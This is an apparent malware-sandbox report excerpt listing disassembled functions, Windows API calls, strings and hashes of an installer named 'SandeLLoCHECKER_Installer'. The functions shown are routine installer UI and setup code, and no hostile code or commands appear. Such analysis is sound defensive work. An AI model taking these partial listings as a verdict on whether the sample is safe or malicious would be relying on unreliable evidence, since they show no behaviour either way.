Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: add25523fbe0612e6f8dfdf724655e9516a3c6b335f6fd2773d4f72098864461
Instruction ID: c445fe63f81b8571df7f0f4cfb9f51880c3bf04900ffd324f05b7caec09f2bf9
Opcode Fuzzy Hash: add25523fbe0612e6f8dfdf724655e9516a3c6b335f6fd2773d4f72098864461
Instruction Fuzzy Hash: 5F31D0B0405B84DEE721CF29C658747BFF0BB15728F104A5DD4A64BB91D3BAA508CB91

Function 008590B0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8f00b05a249a8deed5bf5c16cdf337868ce036e21b2badfeba24ffc4b0e0fb9
Instruction ID: 1c83ba70fcd56663b6a0afec326cea211ec3eb763cce695efb58247e5077000e
Opcode Fuzzy Hash: a8f00b05a249a8deed5bf5c16cdf337868ce036e21b2badfeba24ffc4b0e0fb9
Instruction Fuzzy Hash: E62158B0804788DFD710CF58C904B8ABBF4FB0A314F1186AED455AB791E7B9AA44CF90

Function 00858AF0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 746f774d4e2e8e6d857fe518a4eabffa0785a23a9c39e5c3d8d34e3720fd4cf1
Instruction ID: 5bb45cdded01d96855cd079f62f333a111a50909d0652dc90a03ad79119fb99a
Opcode Fuzzy Hash: 746f774d4e2e8e6d857fe518a4eabffa0785a23a9c39e5c3d8d34e3720fd4cf1
Instruction Fuzzy Hash: 192158B0804788DFD710CF68C904B8ABBF4FB09314F1186AED455AB791E7B9AA44CB90

Function 008766A0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c0997b02f21be64610ded2890943ea108373f4f10ec2922f6030107ccf97664
Instruction ID: 6f0c811e1da0195ff3096637d7ceae207e5e0f94d912e027ba211f5f7f832573
Opcode Fuzzy Hash: 9c0997b02f21be64610ded2890943ea108373f4f10ec2922f6030107ccf97664
Instruction Fuzzy Hash: 8E110CB1904608DFCB40CF58C544B89BBF4FB09328F2086AEE8189B381D3769A06CF84

Function 008772D0 Relevance: 22.7, APIs: 15, Instructions: 178windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000318,00000000,00000004), ref: 00877337
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 00877345
SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0087735F
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00877377
SendMessageW.USER32(?,0000130A,00000000,?), ref: 008773A8
CreateRectRgn.GDI32(?,?,?,?), ref: 008773E2
DeleteObject.GDI32(00000000), ref: 008773F9
GetClientRect.USER32(?,?), ref: 00877415
CreateRectRgn.GDI32(00000000,00000000,?,?), ref: 00877440
CreateRectRgn.GDI32(?,?,?,?), ref: 0087745D
SelectClipRgn.GDI32(00000000,00000000), ref: 00877474
GetParent.USER32(?), ref: 00877484
SendMessageW.USER32(00000000,00000136,?,?), ref: 00877495
DeleteObject.GDI32(00000000), ref: 008774AB
DeleteObject.GDI32(?), ref: 008774B0

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageRectSend$Create$DeleteObject$ClientClipParentSelect
String ID:
API String ID: 1236051970-0
Opcode ID: 345d9a8ec167b94b2f6c76bff150d213beca083c701c5b89ee0f691f94c30308
Instruction ID: 1fd0fe6cfe632a5d18ddad862df5cd76aab1d25d80ed935664da81f887a70bac
Opcode Fuzzy Hash: 345d9a8ec167b94b2f6c76bff150d213beca083c701c5b89ee0f691f94c30308
Instruction Fuzzy Hash: 2D61FD72900219AFDB219FE4DD49FEEBBB9FF49710F104129F919AB2A0DB706941CB50

Function 0097E460 Relevance: 21.4, APIs: 4, Strings: 8, Instructions: 439COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,C7BA013E), ref: 0097E4C9
IsWow64Process.KERNEL32(00000000), ref: 0097E4D0

Part of subcall function 00960300: _wcsrchr.LIBVCRUNTIME ref: 00960339

_wcsrchr.LIBVCRUNTIME ref: 0097E551
_wcsrchr.LIBVCRUNTIME ref: 0097E5E7

Strings

/p //, xrefs: 0097E691
EXE_CMD_LINE="%s ", xrefs: 0097E872
"%s" , xrefs: 0097E78D
/fvomus //, xrefs: 0097E69A, 0097E6EF, 0097E6F0
/i //, xrefs: 0097E69F
%s AI_SETUPEXEPATH="%s" SETUPEXEDIR="%s", xrefs: 0097E81F
TRANSFORMS=":%d", xrefs: 0097E640
.x64, xrefs: 0097E532

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: _wcsrchr$Process$CurrentWow64
String ID: "%s" $ /fvomus //$ /i //$ /p //$ EXE_CMD_LINE="%s "$ TRANSFORMS=":%d"$%s AI_SETUPEXEPATH="%s" SETUPEXEDIR="%s"$.x64
API String ID: 657290924-2074823060
Opcode ID: 381cd234dc2a2e17adbaca0b6c14228bf40fb2cadae71b476147744cb085497c
Instruction ID: f30360118a65278eaa020aad38bb960a4617d457e3889f66c4d8cb3b7ce53203
Opcode Fuzzy Hash: 381cd234dc2a2e17adbaca0b6c14228bf40fb2cadae71b476147744cb085497c
Instruction Fuzzy Hash: 2AF1D431A006099FDB14DFA8C845BAEB7B9FF49314F1486ACE815EB2D1DB74AD04CB91

Function 0087BCF0 Relevance: 21.4, APIs: 4, Strings: 8, Instructions: 358libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00000043), ref: 0087BE18
GetProcAddress.KERNEL32(00000000,InitializeEmbeddedUI), ref: 0087BE31
GetProcAddress.KERNEL32(00000043,ShutdownEmbeddedUI), ref: 0087BE3D
GetProcAddress.KERNEL32(00000043,EmbeddedUIHandler), ref: 0087BE4A

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

Strings

ShutdownEmbeddedUI, xrefs: 0087BE33
SELECT `Data` FROM `Binary` WHERE `Name` = 'InstallerAnalytics.dll', xrefs: 0087BD79
InitializeEmbeddedUI, xrefs: 0087BE2B
173382f5, xrefs: 0087BF4E
EmbeddedUIHandler, xrefs: 0087BE3F
INAN, xrefs: 0087BD25
20.7, xrefs: 0087BF2A
build , xrefs: 0087BF3F

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: AddressProc$HeapInit_thread_footer$AllocateLibraryLoadProcess
String ID: build $173382f5$20.7$EmbeddedUIHandler$INAN$InitializeEmbeddedUI$SELECT `Data` FROM `Binary` WHERE `Name` = 'InstallerAnalytics.dll'$ShutdownEmbeddedUI
API String ID: 2564778481-2084101031
Opcode ID: be8af84de0fad3efd475c82b6166065ed41635b47b4be11a1f685c05fd86793f
Instruction ID: 2d0ba5b34b0401d053ccd5b2305f127336c724a7be17874cab6cb7c4b16aa7cf
Opcode Fuzzy Hash: be8af84de0fad3efd475c82b6166065ed41635b47b4be11a1f685c05fd86793f
Instruction Fuzzy Hash: 2BD1BF71900209AFDB04DFA8CD55BEEBBB5FF04314F148629E815E72D1EB74AA04CBA1

Function 00994490 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00B31550,C7BA013E,00000010,?), ref: 009944CC

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

EnterCriticalSection.KERNEL32(?,C7BA013E,00000010,?), ref: 009944D9
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0099450B
FlushFileBuffers.KERNEL32(00000000,?,00000000,?,00000000), ref: 00994514
WriteFile.KERNEL32(00000000,00A895CD,48E9084D,?,00000000,00AAA26C,00000001,?,00000000,?,00000000), ref: 00994596
FlushFileBuffers.KERNEL32(00000000,?,00000000,?,00000000), ref: 0099459F
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 009945D5
FlushFileBuffers.KERNEL32(00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 009945DE
WriteFile.KERNEL32(00000000,00978683,1550B9FF,?,00000000,00AAD0FC,00000002,?,00000000,?,00000000,?,00000000,?,00000000), ref: 0099463F
FlushFileBuffers.KERNEL32(00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 00994648
LeaveCriticalSection.KERNEL32(00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 00994678

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

Strings

v, xrefs: 00994678

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$BuffersFlushWrite$CriticalSection$AllocateEnterFindHeapInitializeLeaveResource
String ID: v
API String ID: 201293332-3261393531
Opcode ID: 182ead1ea219338b84b1db402a35aa09ccc928e7975539054ca08e3af84afb39
Instruction ID: befcb005b83c86b0f1ed8f9d82cadfab8e373a8e1a6a9ff3a94a289ff89f57b7
Opcode Fuzzy Hash: 182ead1ea219338b84b1db402a35aa09ccc928e7975539054ca08e3af84afb39
Instruction Fuzzy Hash: 8461AD71A01644EFEB01DFA8CD49FA9BBB8FF05314F144269F805DB2A1DB709915CBA1

Function 00858430 Relevance: 19.7, APIs: 10, Strings: 1, Instructions: 460stringCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 008584D0
GetParent.USER32(?), ref: 00858511
lstrcmpW.KERNEL32(?,#32770), ref: 00858531

Strings

#32770, xrefs: 00858528

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ParentWindowlstrcmp
String ID: #32770
API String ID: 3676684576-463685578
Opcode ID: 0f1a0fb318c70437b0164d8cc980d4a83bb33c01d9a9b477b32c375053970ef7
Instruction ID: f95120b3a23da5cc0ce1d172a65d2bf3d0e5c634912153d3d0ad17c2c6fd644c
Opcode Fuzzy Hash: 0f1a0fb318c70437b0164d8cc980d4a83bb33c01d9a9b477b32c375053970ef7
Instruction Fuzzy Hash: 97027D74A00209EFDB10CFA4C948BAEBBF5FF49715F144169F805EB290DB75A945CB21

Function 00875B60 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,tooltips_class32,00000000,80000063,80000000,80000000,80000000,80000000,?,00000000,00000000,C7BA013E), ref: 00875BE8

Part of subcall function 00857B30: SetWindowLongW.USER32(?,000000FC,00000000), ref: 00857B66

SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00875CEB
SendMessageW.USER32(00000000,00000439,00000000,0000002C), ref: 00875CFF
SendMessageW.USER32(00000000,00000421,00000003,?), ref: 00875D14
SendMessageW.USER32(00000000,00000418,00000000,0000012C), ref: 00875D29
SendMessageW.USER32(?,000000D6,-00000001,00000000), ref: 00875D40
ClientToScreen.USER32(?,?), ref: 00875D60
GetWindowRect.USER32(?,?), ref: 00875D72
SendMessageW.USER32(00000000,00000412,00000000), ref: 00875DD4
SendMessageW.USER32(00000000,00000411,00000001,0000002C), ref: 00875DE4

Strings

tooltips_class32, xrefs: 00875BE2

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$Window$ClientCreateLongRectScreen
String ID: tooltips_class32
API String ID: 1468030502-1918224756
Opcode ID: 256eab7faad5c4b5e2910a41ca2bd66d44da9afad256660d8840641869ab2fd0
Instruction ID: b03a1ee65271563db7a833a3e682dc419514ed9b1055720187dd8233304f1b6c
Opcode Fuzzy Hash: 256eab7faad5c4b5e2910a41ca2bd66d44da9afad256660d8840641869ab2fd0
Instruction Fuzzy Hash: A4914071A00209AFDB24DFA4CD95FAEBBF9FB48300F10852AF516EB294D774A905CB50

Function 009A0440 Relevance: 16.8, APIs: 11, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88dfa9b3c1f090e8c1910039696a55d8af190a117f623804170bb190ea5fc3b0
Instruction ID: 9c37bc1c287da36de819068a9266b59669f067a20c2b07cdcaf44e180a87c50a
Opcode Fuzzy Hash: 88dfa9b3c1f090e8c1910039696a55d8af190a117f623804170bb190ea5fc3b0
Instruction Fuzzy Hash: 01A1E671A00205AFDB20AF64DC85FAF7BB8FF96710F104169F905AB291DB75E901CBA1

Function 00976280 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 283COMMON

Download Yara Rule

APIs

Part of subcall function 0096AEB0: LoadLibraryW.KERNEL32(Shlwapi.dll,?,?,?,?,009762E1,?,C7BA013E,?,?), ref: 0096AECB
Part of subcall function 0096AEB0: GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 0096AEE1
Part of subcall function 0096AEB0: FreeLibrary.KERNEL32(00000000), ref: 0096AF1A

GetEnvironmentVariableW.KERNEL32(APPDATA,?,00000104,C7BA013E,?,?), ref: 009764C0

Strings

ProgramFiles, xrefs: 009763C0, 009763D5, 009763DD
AppDataFolder, xrefs: 00976428, 00976465
Shlwapi.dll, xrefs: 009762D7
ProgramFilesFolder, xrefs: 00976347
Shell32.dll, xrefs: 00976303
APPDATA, xrefs: 009764B7, 009764BF
AI_BOOTSTRAPPERLANGS, xrefs: 00976592, 009765DA
PROGRAMFILES, xrefs: 0097649D

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Library$AddressEnvironmentFreeLoadProcVariable
String ID: AI_BOOTSTRAPPERLANGS$APPDATA$AppDataFolder$PROGRAMFILES$ProgramFiles$ProgramFilesFolder$Shell32.dll$Shlwapi.dll
API String ID: 788177547-1020860216
Opcode ID: 15b05af7d7b201b97de97fd1596b598c434ff3edb4a79fe6d5e3dac7fe0cc687
Instruction ID: 456f3cfe39c577288e0670a61e85709bf5f4eef7646135f6c3c02211fd7cea5e
Opcode Fuzzy Hash: 15b05af7d7b201b97de97fd1596b598c434ff3edb4a79fe6d5e3dac7fe0cc687
Instruction Fuzzy Hash: 159105726016059FDB24DF24C845BBAB3B9FF65314F1485ADE80ADB295EB31EE41CB80

Function 00874760 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 124windowstringCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000043A,00000000,00000074), ref: 008747D5
lstrcpynW.KERNEL32(?,?,00000020), ref: 0087484B
GetDC.USER32(?), ref: 0087486E
GetDeviceCaps.GDI32(00000000), ref: 00874875
MulDiv.KERNEL32(?,00000048,00000000), ref: 00874888
SendMessageW.USER32(?,00000444,00000000,00000074), ref: 008748BA
DeleteObject.GDI32(?), ref: 008748F6

Strings

t, xrefs: 00874896
?, xrefs: 0087488E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: MessageSend$CapsDeleteDeviceObjectlstrcpyn
String ID: ?$t
API String ID: 2619291461-1995845436
Opcode ID: 01545f600c50bb374d1f16153cf371432e8a66d75de4aeabad0fb4eef670fdee
Instruction ID: 1b971786eae9fe85f6a7f72aa2bf0b1693373103eddea4f78edeff4149ea0192
Opcode Fuzzy Hash: 01545f600c50bb374d1f16153cf371432e8a66d75de4aeabad0fb4eef670fdee
Instruction Fuzzy Hash: 68517B71908341AFE731DF60D949BABBBE8FB48701F00492EF699C6191DB74E509CB52

Function 00856290 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00B3683C,C7BA013E,00000000,?,?,?,?,?,?,00855ABE,00A413ED,000000FF), ref: 008562CD
LoadCursorW.USER32(00000000,00007F00), ref: 00856348
LoadCursorW.USER32(00000000,00007F00), ref: 008563EE
LeaveCriticalSection.KERNEL32(00B3683C), ref: 00856443

Strings

WM_ATLGETHOST, xrefs: 008562D9
AtlAxWin140, xrefs: 008562FF, 00856363
WM_ATLGETCONTROL, xrefs: 008562E4
AtlAxWinLic140, xrefs: 008563AF, 00856405
v, xrefs: 00856443

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalCursorLoadSection$EnterLeave
String ID: v$AtlAxWin140$AtlAxWinLic140$WM_ATLGETCONTROL$WM_ATLGETHOST
API String ID: 3727441302-4127849342
Opcode ID: a163340dd50acd0ac50f77e0f06ef45151a99782709708755354c1f80045e539
Instruction ID: 9ffa5828bdcffea9f0e760d91bc66c87fd24efa10edba169fe5dd2cde6203ac1
Opcode Fuzzy Hash: a163340dd50acd0ac50f77e0f06ef45151a99782709708755354c1f80045e539
Instruction Fuzzy Hash: 3B512CB1D00219EFDB11DF94D848BEEBBF8FB08714F50016AE814F7280EBB555098B94

Function 0098A350 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 148libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDefaultLangID.KERNEL32 ref: 0098A38C
GetUserDefaultLangID.KERNEL32 ref: 0098A399
LoadLibraryW.KERNEL32(kernel32.dll), ref: 0098A3AB
GetProcAddress.KERNEL32(00000000,GetSystemDefaultUILanguage), ref: 0098A3BF
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 0098A3D4

Strings

GetUserDefaultUILanguage, xrefs: 0098A3CE
GetSystemDefaultUILanguage, xrefs: 0098A3B9
kernel32.dll, xrefs: 0098A3A2

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
